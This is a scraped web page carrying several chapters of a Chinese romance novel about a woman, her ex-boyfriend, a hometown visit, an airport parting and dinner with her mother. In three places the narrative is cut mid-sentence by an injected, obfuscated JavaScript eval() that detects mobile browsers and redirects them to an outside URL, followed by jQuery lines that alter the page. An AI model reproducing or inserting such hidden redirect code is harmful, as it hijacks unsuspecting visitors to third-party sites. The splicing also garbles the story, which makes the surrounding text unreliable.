温清漪记得很清楚,高中有段时间流行苗疆蛊术和湘西赶尸的小说,封面和故事一样诡异离奇,奈何内容实在是引人入胜,害得她熄灯后躲在被子里打着手电都要熬夜看。
“可惜就算我偷偷卷你,也还是万年老二。”谢铭洲成绩不错,只是他本人当初对考什么学校、填什么专业都没特别清晰地规划。
他只知道一点,温清漪的目标就是他的目标,她要去哪里,他就去哪里。
现实就是有些人再努力,也赶不上天分。
好在虽然最后高考几分之差,两人没能在同一所大学,好在过个马路就是对方学校。
直到现在,谢铭洲都庆幸当年的自己,即便清楚无法赶上温清漪,也没有放弃往死里学,否则结果可能就不是几分之差。
从很小的时候起,谢铭洲就一直像影子一样追着温清漪。
跟在她后面企图保护她,也陪在她身边开解她。
至于结局走到分离,却也是他做出的选择。
谢铭洲不是没想过重回北城,可不知为何有些害怕。
南城太安逸,一旦身边没有可以仰望的目标,待久了容易让人失去斗志。
自己一个人,怎么都能过。
他没有温清漪非走不可的理由,从始至终的愿望也只是看她留在北城实现和母亲重新开始的梦想。
她的人生一路向上,前途光明,永远有明确的目的地。
而他呢?以别人的目标为目标能走多远。
抛开理想愿望,谢铭洲更清楚这些理由多是他为自己找的借口。
其实他更担心自己的人生容错率太低,做错一次选择就失去再来的可能。
所以三年来,他一直不敢找温清漪,哪怕微信被删好友也从没想过要加回来。
所有逢年过节的问候都发给了温韵玫,从她那探听一些有关温清漪的消息。
得知她工作顺利,一切都好,还有很多比他更优秀、家境更好的人在追求她,这就够了。
奇怪的是,这些犹犹豫豫、自我矛盾的想法,在机场见到温清漪的那一刻便都烟消云散了。
他可以一直把温清漪的目标当成自己的目标,把温清漪当作自己人生的“奶油”。
他现在清楚地知道自己想做什么,他要回到北城重新开始。
8. 旧时光
那群围着聊天的高中生一走,小小的店铺立刻空旷起来,也变得安静。
温清漪昨天分明说想吃米线,结果今天点了份凉皮,理由是天气热吃不下烫的。
味道还是那个味道,却不再觉得惊艳。
这家店从来算不上好吃,不过是当年学校食堂的饭菜难以下咽,只要能溜出来随便吃什么都能轻易满足。
一碗凉皮挑挑拣拣吃到最后,剩了一底的花生。
谢铭洲的那碗招牌米线倒是吃得干干净净。
两人准备走的时候,迎面遇上一个身形瘦削的中年男人。
推拉门只开了半扇,那人不管不顾往里挤,谢铭洲护着温清漪退到一边。
中年男人鼻孔朝天,不耐烦地翻了两人一个白眼。
谁知白眼还没翻完,刚与温清漪对上目光,他就愣住了。
紧接着视线又往谢铭洲身上打量,见他还要眼熟,一琢磨,“你是原来老周家隔壁那个寡妇的儿子?”
谢铭洲没来得及说话,就被温清漪拽着往外走。
后面那人回过神来,作势追出来几步,冲温清漪喊:“周晗晋别以为十几年不见我就认不出你了,你跟你那个克夫的妈一样没良心,爹死了都不知道每年回来祭拜一下。真以为去了大城市就是城里人了?”
听到这话,谢铭洲哪还有不明白的。
他反过来握住她的手十指相扣,头也不回往前走。
零星几个过路人听见动静,好奇地回头瞥两眼,步履不停。
中年男人见自己被无视,周围也没有围观群众给他表演的舞台,只得自讨没趣进店去。
像为了掩饰尴尬,嘴上仍骂骂咧咧地自言自语。
顺着这条路一直往前,右手边就是谢铭洲家的文具店。
温清漪停下来,她语气平和,“我想进去看看。”
早在昨天晚上她就打算好了,来吃饭不过临时起意,想重游故地才是真。
两人以前是邻居,谢铭洲父亲去世得早,母亲黄雅琳一个人在镇上开了家小卖部,经常白天不在家,晚上很晚才关店。
温韵玫去幼儿园接温清漪的时候经常顺手就把谢铭洲一起带回来。
初中前有很长的时间他都是在温家度过的,每天和温清漪一起上下学、写作业、吃晚饭。
这种生活持续到初中,两人从镇上的小学升到市一中,有晚自习后便开始住校。
黄雅琳经过慎重考虑,关掉小卖部,盘下初高中附近的两层楼店面,开了这家文具店。
她一个人吃住都在楼上,每周有三天会去给谢铭洲和温清漪送饭。
文具店面积不大,楼上楼下都呈长方形,进口收银台后有张写字桌。
以前每逢周末,温清漪就喜欢跟谢铭洲在这里学习。作业写完了,黄雅琳允许他们挑架子上的书看。
等上了高中双休变单休,每周都休变成单周休,温清漪来店里的次数便少了。
她已经不记得上一次来是什么时候,进门只觉恍如隔世,陈旧的气息扑面而来。
坐在门口的是个中年男人,鬓角花白,戴一副老花眼镜,穿着普通但很干净。
一进门,谢铭洲就说:“张叔,你看我带谁来了。”
张叔抬了抬老花镜,仔细端详,笑道:“温清漪好久不见啊,真是女大十八变了呀。”
“您还认得出我,就说明变化不是特别大。”
温清漪在高三和张叔有过几面之缘,当初他在追黄雅琳,尽管一直被拒绝,但从来没放弃。
至于后来如何她没问过,而谢铭洲也不是会向母亲打听这些事的人。
温清漪走到记忆中的书架旁,这里还大致保留了以前的摆放习惯,只是原来小说漫画和学习教辅各占一列,如今只剩最底下一层用来放旧书。
她抽了一本随手翻了两页,应该是以前没有卖掉的试读本,里面还有折角。
谢铭洲站在收银台前和张叔讲话,声音很轻,“张叔,我想问问您对这个店日后的经营有没有什么想法?如果我想转出去,你愿不愿意接手?”
“啊?”张叔一时没明白。
“我决定回北城了。”他把声音压得更低。
张叔反应却很大,这一声“啊”比刚才还惊讶,引得温清漪频频回头。
“没事,没事。”张叔冲她摆摆手,又问,“你什么时候决定的?”
“其实回来这么久我一直在纠结,本来妈走了之后我就想过回去,谁知道一拖又是两年多,直到昨天见到她,才重新下定决心。”
谢铭洲三年前是因为母亲生病才回的南城。
刚开始,温清漪和他都以为只是去去就回,没想到黄雅琳的病情远比电话里说得严重。他和温清漪也商量过让母亲转去北城,那里有更好的医疗资源。
但黄雅琳不想浪费时间,她没有温韵玫重新开始的勇气,不愿离开生活了一辈子的地方,更没有适应新环境的精力。
她知道自己时间不多,再怎么折腾都是徒劳。何况谢铭洲和温清漪才工作没几年,两人仅仅恋爱关系,还没到谈婚论嫁的地步。若是结了婚,那更不能给他们增加负担,于是拒绝得很坚决。
谢铭洲年幼丧父,母亲一个人把他养大不容易,所以想在有限的时间里陪母亲最后一程,温清漪当然理解。
但她没想到谢铭洲竟然一声不吭把工作辞了,见劝不动母亲去北城,就退而求其次,做好了留在南城专心照顾母亲的打算。
事急从权、事出有因,这些道理她都懂,所以不管谢铭洲这一去要多久、以后会有什么变故,她都愿意等。
可像这样不和她商量,自顾自做了决定,便是没想过以后。
谢铭洲也在电话里和她说完辞职的事情后提了分手。
没有狗血的出轨戏码,也没有双方家长的阻挠,全然出于现实的考虑。
温清漪甚至无法对他生出一丝责怪,可还是被这种独断专行的做派气得够呛,某天晚上喝多了,一气之下删了他所有的联系方式。
从分手到再见过了三年,谢铭洲偏安一隅,时间并未因此停滞。
他或许没有向前,但努力不让自己倒退,每天看学界最新发布的论文、会议,时刻关注相关新闻,经常与业内人士交流,也和前司同事、直系学长保持联系,甚至偶尔帮他们远程处理一些事务。
这样至少能确保等他做好了再回去的准备,不至于被专业抛弃。
年前学长出来单干,问谢铭洲打算什么时候回北城,给他留了个位置。
那时候他没想好,犹犹豫豫举棋不定。
学长不着急,每隔一段时间就问一次,坚持不懈的努力终于在昨晚得到回应。
谢铭洲盯着站在书架前温清漪的背影,语气认真,“张叔,如果你愿意接手我就把店转给你,如果你没这个想法,店就先开着,就是要麻烦你帮我挂一下转让信息,后续的一些事情可能也要麻烦你了。”
张叔叹了口气,“我就知道会有这么一天,你终归要走的。我嘛年纪也大了,以前在店里单纯想陪陪你妈,后来算是帮你忙,你要是走了我也不想守在这。这店面位置好,要转手不难,也许在你走之前都能处理好。”
说完他又用眼神示意一下温清漪,“你还没告诉她?”
“我想等所有事情都安排好了再去找她。至于以后,以后再说。”
离开文具店的时候,温清漪觉得张叔看她的眼神有哪里不一样,“温清漪,谢谢你啊。”
这让她摸不着头脑,“谢什么?”
“谢谢你回来。”
上了车她还在纠结这句话什么意思,“我回来怎么了?”
“老人家,难免喜欢感慨。”谢铭洲目视前方,狭窄的两车道,却忽然觉得眼前开阔起来。
“诶,张叔还称不上老人家吧?不过人到了一定年纪确实喜欢多愁善感,我妈也经常说点莫名其妙的话。”
/
离开南城他们前去的最后一个地方,是园林公墓。
黄雅琳去世后,谢铭洲在这买了两块地,把父亲的骨灰也一起移了过来。
从公墓停车场出来,放眼望去就是成排的墓碑,一路延伸向山上。
每一排最边上都有编号,谢铭洲记得父母的位置,指了个方向就带温清漪过去。
她边走边回头,目光落在另一侧,成片的墓碑里有一块是她父亲周卫华的。
但究竟是哪一块,又在几排几号,她根本不记得。
唯一一次来还是刚上高一,周卫华葬礼的那天。
走到黄雅琳夫妇的墓碑前,温清漪收回视线站定。
上面的照片很新,朱笔描过的名字颜色鲜艳。
谢铭洲放下两束门口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635296|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
买的花,“爸妈,我带温清漪来看你们了。”
温清漪按照规矩拜了拜,蹲在黄雅琳照片前,“阿姨,我代我妈妈来看你,她在北城都好,就是偶尔会念起你。”
两家人因为是邻居,温韵玫和黄雅琳年纪相仿又都好相处,一来二去变成了无话不谈的朋友,但更多的是彼此精神的寄托与情绪的出口。
黄雅琳独自带儿子,时常觉得孤单。温韵玫有老公,倒还不如没有。
有一年周卫华在饭局上喝多了酒,不听劝还非要骑摩托车,结果撞坏了别人店面的卷帘门。
好巧不巧,那家店正是黄雅琳家的小卖部。
温韵玫第一次生出想要离婚的念头。
他在温清漪幼儿园的时候也有过一次,喝多了骑摩托车,结果从车上摔下来导致左手骨折。可即便有前车之鉴,他仍不为所动,总觉得自己没喝多,开摩托车而已,不会出事。
温韵玫不敢想,上次是手骨折,这次撞坏别人店门,那下次会怎样?
她不想整日提心吊胆,只觉得身心俱疲,把离婚的念头告诉了黄雅琳。
对方自然支持,想到年纪还小的温清漪又劝她冷静,就算要离婚也该有底气,不如再忍忍,等温清漪大一点直接和她一起去别的城市生活。
一句话令人醍醐灌顶,温韵玫觉得她说得有道理。
明明结婚前自己卫校毕业,在诊所里当护士,怎么结婚后就辞去工作当了家庭主妇。
婚后就算没有完整的时间上班,还能回诊所打零工,空余时间又在药店兼职。
有天黄雅琳送了她一张中国地图,她把地图挂在温清漪房间里,指着北城说我们以后去这生活吧。
谁能想还没等到离婚,周卫华就先死了。
那天温清漪一家去参加某个亲戚的婚礼,饭桌上周卫华比往日更高兴,一高兴就喝得没分寸。
就算烂醉如泥,他也坚持要骑摩托回家。
温韵玫劝说无果,便请周围亲戚去劝,但外人谁在乎,装模作样说两句就当是劝过了。
她只能拦住周卫华的亲弟弟周卫建,“你哥喝成这样开车会出事的,你把他带回去吧。”
“没事大嫂,大哥的车技你还不知道吗?你先带晗晗回家,他有分寸,肯定平安到家。”
走前温韵玫急红了眼,对周卫华吼:“你不听劝,迟早要死在这辆车上。”
温韵玫宁愿带着温清漪徒步几公里走回家,也不肯坐一个酒鬼开的车。
走到一半电话响了,所谓的分寸就是喜事变丧事,而她的话一语成谶。
温韵玫赶去医院了解情况后的第一个念头竟然是,幸好死的只有他一个人,幸好没有其他人因此受伤。
周围无数张脸围着温韵玫七嘴八舌,一个个面目狰狞,在她看来却全都变得模糊。
温清漪站在角落里,冷冷盯着那个对母亲骂得最凶的男人,忍了又忍,抄起手边一个矿泉水瓶砸过去。
稳准狠的抛物线,男人懵了几秒,人群也静了。
等他回神瞪向罪魁祸首,瘦削的面庞露出厌恶愤怒的神情,和今天中午温清漪在米线店外遇到的那个中年男人的脸重合。
是说着风凉话不尽规劝义务,在哥哥死后还要推卸责任的周卫建。
丈夫死后,温韵玫从未觉得如此轻松,再也不用惶惶不可终日,害怕他在外面因为酒驾闯出祸来。
人死了一了百了,至于周家的亲戚怎么说她都无所谓。
好在温清漪格外争气,成绩一直很好,为了考取北城的大学格外努力。
高考成绩出来那天,温韵玫觉得天光大亮。
她把周卫建觊觎的老房子以一个能够接受的价格卖出去,带着多年来的积蓄,和温清漪一身轻松地离开南城。
那是温韵玫和黄雅琳最后一次见面,两人在车站分别。
后来黄雅琳因病去世,谢铭洲一直到处理完后事才把母亲的死讯告诉了温韵玫,再由温韵玫转告温清漪。
“阿姨,我和妈妈以后应该都不会再回来了,你知道她讨厌这里,尤其讨厌周家人,一回来就免不了要照面。以后我们不来看你,就拜托谢铭洲了。”说完,温清漪站起身,又是深深一拜。
谢铭洲从口袋里抽了张纸巾拂去墓碑上照片和名字的灰尘,“爸妈,我先送温清漪回去了,下次再来看你们。”
9. 不再见
黑色SUV驶离墓园,导航目的地设置为机场,大约需要一个小时零五分钟。
航班改签在今晚五点半,温清漪来时一身轻松,走的时候多了一件吊带睡裙和一封几乎没有重量的信,往斜挎包里塞一塞也能装。
她线上办理过值机,不用托运,直接过安检很方便。
周末高架上车不多,开过去时间刚好。
下午三点,太阳渐有西斜趋势,光照刺眼,谢铭洲拉下头顶挡板,顺手帮温清漪也拉了下来。
她双手交叠放在包上,原本扁扁的一个斜挎包,现在被折叠的睡衣撑开,即便卷到最小,也还是占了一定体积。
搭扣勉强扣上,撑开的缝隙里露出杨柳母亲给她的那封信。
土黄色信封像潘多拉魔盒,一边吸引她打开,一边又散发出令人畏惧的气息。
温清漪害怕在里面看到杨柳对她的责怪,更怕看到字里行间中满是对生活的无望。
她深吸口气,把包翻过来用手捂住,仿佛这样就能暂时逃避。
“看看窗外,或许这是你最后一次看这座城市的模样。”谢铭洲余光瞥见她的动作,有意转移她的注意力。
目光顺着他的话转向窗外,这条路是昨天谢铭洲来接她时走的。
清晨所见之景透着天刚明的蓝,下午的天空则被即将到来的霞光染上浅浅的橘调。
昨天早上她后面一直都在睡觉,现在重新看向高架两旁一闪而过的房屋与田野,和在铁路上飞逝的高铁。
有个飞奔的瘦小身影在她脑中浮现。
那一年她和谢铭洲带杨柳参加完集会,在回家途中路过一片田野,恰好遇上向北而去的火车,“轰隆隆”的声音响彻天地。
杨柳撒开牵住他们的手,追着火车行驶的方向奔跑。
温清漪和谢铭洲不紧不慢跟在后面,看她跑跑停停、忽远忽近的背影。有晚风拂面,带着田野中特有的草腥气,杨柳停下脚步回头,额前碎发沾着汗水贴在鬓角,笑容肆意,能够将所有失意和不愉快都抛之脑后。
看着窗外倒退的景象,温清漪不禁想当初就是在这片土地上吗?
当年驶离的绿皮火车如今变成速度更快的高铁,但再也没有人追着列车行进的方向不知疲倦地狂奔。
远去的列车就像杨柳消失的身影,也许带着她已经先抵达了北城。
不看窗外就会被信封吸引,看向窗外又会想起更具体的人。
温清漪觉得自己一定是与南城磁场不和,心情才会起起伏伏,思绪混沌不堪。
就连冷静下来回想昨晚,她都不敢信那是自己会做出来的事。
既变态又无耻。
温清漪的目光偷偷攀上身边的男人,他每次开车都一脸认真,目视前方很少分心。
两人在大学是一起报的驾校,每天一起练车、约考,同时拿证。
温清漪自认自己是个不轻易说脏话的人,但在开车的时候都免不了要骂几句难听的。
谢铭洲却能好脾气到连开车都心平气和,休想从他口中听到一个脏字。
只是他专心开车并不代表无知无觉,察觉到落在自己身上的目光,语气戏谑,“又盯着我?”
这个“又”字仿佛是在专门点温清漪。
她悻悻扭过头,小声嘀咕:“你也没那么好看。”
谢铭洲只当没听见,“到了北城谁来接你?”
“我妈。”
“等你落地北城时间也不早了,阿姨一个人来可以吗?”
温清漪总觉得他这话问得不简单,但懒得揣摩,只想着为母亲正名,“我妈独自夜爬泰山都不带喘的,晚上一个人来接我那不是轻轻松松,我俩还约了落地后去吃火锅,你少瞧不起中年人,说不定她精力比你还旺盛。”
“阿姨确实厉害。”听到只有温韵玫一个人来接她,谢铭洲唇边溢出笑来。
“那你呢,回去以后还是有一天过一天?”温清漪觉得自己不应该过问,而且这话里似乎还带了些对他现状的不满。
她有什么资格呢,又以什么身份?
昨晚不过是个意外,或许真的你情我愿,但对成年男女而言也就仅此而已。他们两个只是短暂地重有交集,睡醒了再变回从前互不打扰的前任关系,各自生活才是常态。
谢铭洲握着方向盘的手不自觉收紧,她态度转变得令人猝不及防。
没等他说什么,就听温清漪续道:“我看到你客厅和书房里的那些书了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635297|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回南城后也不忘关注行业资讯,有时候我真不懂你在想什么。”
说话间到了机场,车在路边临时下客区缓缓停下。
温清漪还在继续:“你说总有人和你提起我,那你应该知道我们分手的这三年我一直单身。”
“我也……”谢铭洲心中越发不安,这话怎么听都不像是好话,也不明白气氛怎么忽然就严肃起来。
“先听我说完,”她兀自打断,“我知道你其实并不在乎在哪生活,北城南城对你来说都一样,往东往西也可以。只是这么多年我习惯了你总陪在我身边,就连高考志愿你都照着我的填,这让我时常有种错觉,好像你本来就应该一直陪着我。可能就是有点恃无恐吧,所以即便当初你说分手,我也认定你总有一天会回来找我。只是半年或者一年,这种事没法说得准,我也盼着你妈妈能好起来。可结果呢?知道你妈妈去世后我第一个念头是飞来南城陪你,可又转念一想你可能不需要吧,不然怎么连一个电话都不给我打呢?”
谢铭洲静静听着,等她说完才开口:“这应该是我们见面以来,你说得最多的一次。”
“是啊,其实还有好多话想说,但一下子想不起来了,也不知道你能不能理解我说的意思。”温清漪很多话憋在心里,本来想在昨晚和他彻夜长谈,结果一时失控,打乱所有计划。
后面有车响了响喇叭在催促,谢铭洲重新发动车子,转而把车停进地下停车场。
他觉得这段对话一时半刻结束不了,“我们应该好好聊聊,而不是像现在这么仓促的只听你说。”
温清漪却已经拿了包准备解安全带,是打算言尽于此,“当初分手是在电话里讲的,所以我始终觉得我们之间缺一次好好的道别,今天不论是时间还是地点都很适合。”
“什么意思?”他脸色微沉,停好车熄火却不动。
“没什么,还能再见你一面就足够了,回去我也终于能放下了。就这样吧,昨天意外而已,我们还是算了。”
谢铭洲按住她解安全带的手,怒极反笑,“算了?昨天晚上抱着我亲的人是谁?”
说着他又去扯自己的衣领,露出锁骨下暧昧的红,“才服务完你就这样算了,翻脸不认人,你当我是鸭吗?”
10. 真心话
露出来的那块皮肤像在提醒温清漪昨晚自己的失控,而更多细节不合时宜地在脑中重现。
她一时忘了回应,不过片刻愣怔,便让谢铭洲有机可乘。
他解掉自己的安全带,越过中控台,托住温清漪的后脑不让她躲。声音很低,带着几分质问,“昨天你问我能不能亲的时候我回答了吗?”
假绅士能得到什么,他不装了,也不想听回答。
湿热的吻毫无防备地落下,不由分说追着她,撕咬、纠缠。
像是故意,她每往后躲一寸,他手中桎梏的力道就更大,如何都逃不脱,你追我赶的游戏直至力竭才暂停。
松开时温清漪脑子有些晕,胸腔中仅剩的氧气稀薄,才起的分别念头被一个吻搅乱。
都怪自己意志不坚定,比起装作愤怒地甩他一个耳光,她竟然更想用力咬回去。
好在没有色令智昏到头脑发热的地步,她若真那么做了,也不知道是惩罚还是奖励。
趁喘息的间隙,她双手攀在谢铭洲肩上一把将人推开。
他顺着这股力道向车窗倒去,眉间沉郁一扫而空,靠着门把手笑得格外温柔,目光落在温清漪唇上,“你确定要这样算了吗?”
这一刻她只觉得这种漫不经心的笑和声音都充满蛊惑人心的魔力,像正在进行诱骗的塞壬,而她只是奥德修斯手下的一个小兵,不具备抵挡诱惑的能力,于是迟迟无法把那句算了再说一遍。
这会儿谢铭洲倒不拦着她了,反正亲也亲了,又换上一副体贴做派,主动帮她打开车门,“不下车吗?”
温清漪拿了包绕过他,自顾自往前走。
锁好车门,他三步并两步追上,从扶梯上去是机场大厅,那块玻璃幕墙又在眼前显现,窗外天气一如昨日早晨般晴朗。
谢铭洲说:“天气预报本来说下午有降水,你一直在担心航班延误,可结果非但没下雨还是难得的好天气。以后怎样谁说得准,也许就像多变的天气,就这么算了,我看未必。我想你的航班会准时起飞,顺利抵达北城。”
听他意有所指地说了一通,温清漪还是懒得搭理,只是轻轻扫了一眼。
关于刚才那个吻,谢铭洲没做任何解释,仿佛只是对她昨晚行为的回应,主动的事情要一人一次才公平,而他只把吃的亏讨回来了一半。
不说话也无所谓,谢铭洲牵起她垂在身侧的手,往她掌心放了一板白色药片,每颗都只有指甲盖大小。
温清漪光看药片形状就知道,这是她常吃的一款止痛药,对痛经很有效。
“这药之前一直放在我车里备用,看了下时间还没过期,你先带着,上了飞机以防万一。”
闻言,温清漪反过来看冷铝包装底部刻的保质期,距离过期还有三个月,这药也是放得够久了。
“谢谢。”她收下,往背包的缝隙里随手一塞。
时间算得刚好,前往北城的航班开始候机,过安检后不用等太久便能登机。
谢铭洲陪她走到安检口,前面正有一队人,她排在最后。
“温清漪,”谢铭洲已经很久没有这样严肃地叫过她的名字,“我会回北城的,我不要就这么算了。”
从地下室的那个吻开始,他所有的行为都在说“我不同意”。
但比起能够令人随意曲解的行为,还是直截了当的语言更能表明态度,“等我把事情都安排好,我会来找你的。”
前方安检的人逐渐变少,温清漪随着人群流动缓缓向前。
面对谢铭洲的话说不期待是假的,她面上反应却有些冷淡,装作若无其事道:“谢铭洲,我不会等你的,所以你要快一点,在我答应别人之前。”
谢铭洲神情认真而庄重,“那我们北城再见。”
三年来,一直是他拖着犹豫不决,即便温清漪没有向前,却也未必是在原地。
现在她虽然说着不等他了,但话里话外还是透着再等一下的意味,如此难得的机会他又岂会放过。
轮到温清漪安检,谢铭洲就此止步。她拿出手机和充电宝,把包放进篮子里。
没有说再见,只转头对谢铭洲摆了摆手算作道别。
那一点不敢说出口的私心藏在最深处,即便听到谢铭洲说会回北城找她,温清漪还是不愿将“再见”说出来。
不是不相信谢铭洲的话,只是担心变故丛生。
倘若再见变成再也不见的谶言,她宁愿不开这个口。
温清漪发现自己总是在不该迷信的时候迷信。
过了安检口,谢铭洲的身影便消失不见。
走过廊桥,进入机舱,她的座位在靠窗一侧。
手机打开飞行模式前,先给妈妈发了一个已经上飞机的消息,又在心里默默祈祷千万不要临时下雨从而耽误时间。
而一切就和谢铭洲说的一样,南城今天一整天都是好天气,天气预报的那场雨到底没有落下,飞机准时起飞。
背包被放在前座底下,等飞机进入平流层平稳飞行后,她迫不及待拿出包里的那封信。
信封口沾了胶水,温清漪小心翼翼地撕开,抽出里面对折两次的信纸,又小心翼翼地展开。
即便知道时间过去这么久,墨水早就干透了,却还是害怕因为一个不注意晕染了字迹。而单薄的一张信纸,杨柳却字迹工整地写满了正反面。
内容不多,温清漪很快就读完了。
没有抱怨,没有责怪,更没有对生活的失望。
在信里,杨柳只是单纯怀念去北城旅游的那一周。有一年杨柳生日,温清漪送了她一本洛尔迦的诗选集。她最喜欢里面的一句话——“我会走得很远,远过这些山丘,远过这些大海,直到靠近星星”。
杨柳说北城是她去过最远的地方,虽然那里没有大海也看不见星星,但充满了自由的灵魂。
信的最后她这样写:「可能每个地方都有失意的人,北城也不例外,但我莫名就是喜欢那里,可能因为那是我去过最远的地方。我大概无法再远过山川沙丘与河流,其实南城乡下的星星已经足够明亮,或许我应该知足。只是如果你以后去了更远的地方,记得告诉我,我会知道的。」
在万米高空,温清漪只觉眼眶发酸,耳朵里满是嗡鸣声。越是吞咽口水,喉头越是肿胀发紧。
隔壁女孩默默递来一张带着香味的纸巾,温清漪接过道谢,又向空姐要了一杯温水。
如同连锁反应一般,她连胸口都觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635298|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得堵得有些难受,小腹也开始隐隐坠痛。她从包里翻出谢铭洲给的止痛药,就着温水送服。
邻座女生见到她吃药,从自己包里找出纸笔,写了张纸条递过来:「如果需要帮助,随时告诉我。」
莫名的善意稍稍抚平了温清漪心中的酸涩,她感激地冲女生笑笑,随后郑重其事地收起信,戴上耳机播放纯音乐。
十五分钟后药效开始发作,身体的不适得到缓解,无言的情绪得到平静。在催眠的白噪音中,她陷入昏沉。
再睁眼,飞机即将降落,广播里正在播报室外温度,北城要比南城冷一点。
此刻天已经完全黑了,透过舷窗向下看,城市在靠近。星星点点的灯火曲折延伸照亮北城,这样熟悉的景象令她感到心安。
飞机开始滑行,人群变得躁动。
温清漪关闭飞行模式,消息争先恐后地涌进。
点开和母亲的对话框,温韵玫说她在路边打了双跳,直接从A口出来就能看见。
在一众朋友和公众号推送的消息里,谢铭洲的信息被淹没到下面。
温清漪看到他一闪而过的头像,但没急着去翻,而是先编辑了一条朋友圈。图片是落地前拍的窗外夜景,配文:「回来啦。」
这条朋友圈单纯是给同事和客户们看的。等发好朋友圈,她又一一回复朋友们的问候,等到最后才点开谢铭洲的聊天框。
她依然不急着回,只是点进更多设置,置顶聊天。
从机场出来,温清漪没看见温韵玫的车,反倒先看见了宋承君。
他几步走到温清漪面前,想伸手去帮她背包,却被不着痕迹地避开。
拿东西的手落了空,他笑着退开一步,也不尴尬,解释道:“阿姨把车开前面去掉头了,她让我在这等你。”
“你怎么来了?”温清漪并没告诉宋承君自己的航班信息。
“那天去给阿姨送东西的时候她和我说的,恰好今天没课,我就和她一起来接你了。”
温清漪本来觉得今晚会很美好,回北城和妈妈一起久违地吃火锅,进行一些母女间私密的谈话。
宋承君的出现完全是意料之外,更重要的是她还没想好该怎么回复这个前不久才和她表白的人。
因为不知该说点什么缓解尴尬,温清漪只好拿起手机假装在回消息。
刚才发的朋友圈已经有不少人点赞,最新一个点赞是谢铭洲。
下一秒他就又发来私信:「阿姨接到你了吗?」
有车隔着马路按了按喇叭,温清漪看过去,是温韵玫,她顿觉自己从拘谨的氛围中被释放,脚步飞快地上了车。
关了车门才发现宋承君没上来,她打开车窗,“你不走吗?”
“我自己开车来的,只是想见你一面,顺便把这个给你。”他从窗外递进来一个纸袋,“飞机餐肯定不好吃,你火锅多吃点,我走了。”
说完和温韵玫打了声招呼,转身离开。
纸袋里有个方形盒子,大概装了项链或手链之类的饰品。
温清漪不想拿出来,盯着盒子发呆。
旁边传来温韵玫打趣的声音,“虽然谢铭洲是挺好的,但我看宋承君也不错,你觉得呢?”
11. 纯友谊
北城晚上的道路终于不再拥挤,无需花上几个小时才能从城市的一端抵达另一端。
然而深夜的火锅店生意却依旧红火,人声鼎沸中夹杂着牛油香气,温清漪和母亲在窗边预约的位置坐下。
毛肚、虾滑、肥牛……温清漪点了满满一桌,连侧边架子都放不下了。宋承君有句话没说错,飞机餐的确难吃,她现在饿得头晕眼花。
牛油随着沸腾的水化开,呛人的辣味与飘散的热气缠绕,锅刚开她就迫不及待下了几片肉。
温韵玫口味清淡不爱吃辣,晚饭也吃得八分饱,只象征性在清汤锅里放了点蔬菜。一双眼直勾勾盯着温清漪,看她风卷残云的样子忍不住说:“谢铭洲不带你吃饭吗?”
“咳咳,”牛肉在蘸料里浸过,不小心沾了辣椒,一口下去呛得她直咳嗽,“能不聊他吗?”
“当真不聊他?过了这村没这店。”这世上没人比温韵玫更了解自己的女儿,她嘴上说着不想聊,其实心里早就憋了一堆话想说。
果然,温清漪猛灌一口水后支支吾吾道:“那还是聊聊吧。”
温韵玫一脸我还不知道你的表情,捞出已经烫好的毛肚夹在她碗里。
“三年不见,他还和以前一样吗?有没有变胖或者掉发,你也知道,男人花期很短的。”
温清漪一口水小心咽下,她习惯了妈妈说话一贯犀利的风格,自有种独属于温女士的冷幽默。
“感觉他保养得不错,继续保持的话再过几个三年都还那样。”说这话时她脑中不禁浮现出谢铭洲的脸,仔细想想其实其他地方也都不错。
“那和宋承君比,你更喜欢哪个类型?”刚刚在车上温韵玫就问过类似的问题,但温清漪一会儿说饿一会儿说累,嘻嘻哈哈就被糊弄过去。
现在又逮到机会,温韵玫换了个问法。
在温韵玫看来,谢铭洲是她看着长大的,知根知底,如果当年没分手,两人极有可能走到最后。
至于宋承君,和温清漪认识没两年,听说他父母都是大学教授,几次接触下来感觉不错,待人谦和不说,对温清漪更是体贴。但温韵玫作为过来人很清楚,这种温柔体贴再到位,温清漪不喜欢也是白搭。
只是见到有优秀的人追求温清漪,温韵玫作为母亲自然高兴,所以在宋承君提出想一起来接温清漪的时候她没拒绝,也算是给年轻人机会。不过她算是看出来了,机会给一次和一百次都一样,温清漪的态度摆明了两人没戏。
清汤锅底咕嘟咕嘟在冒泡,里面的蔬菜翻滚,热气蒸腾,温清漪盯着一片飘来荡去的土豆,煮的时间久了,筷子一夹断成两半,再夹就化成粉散开不见。
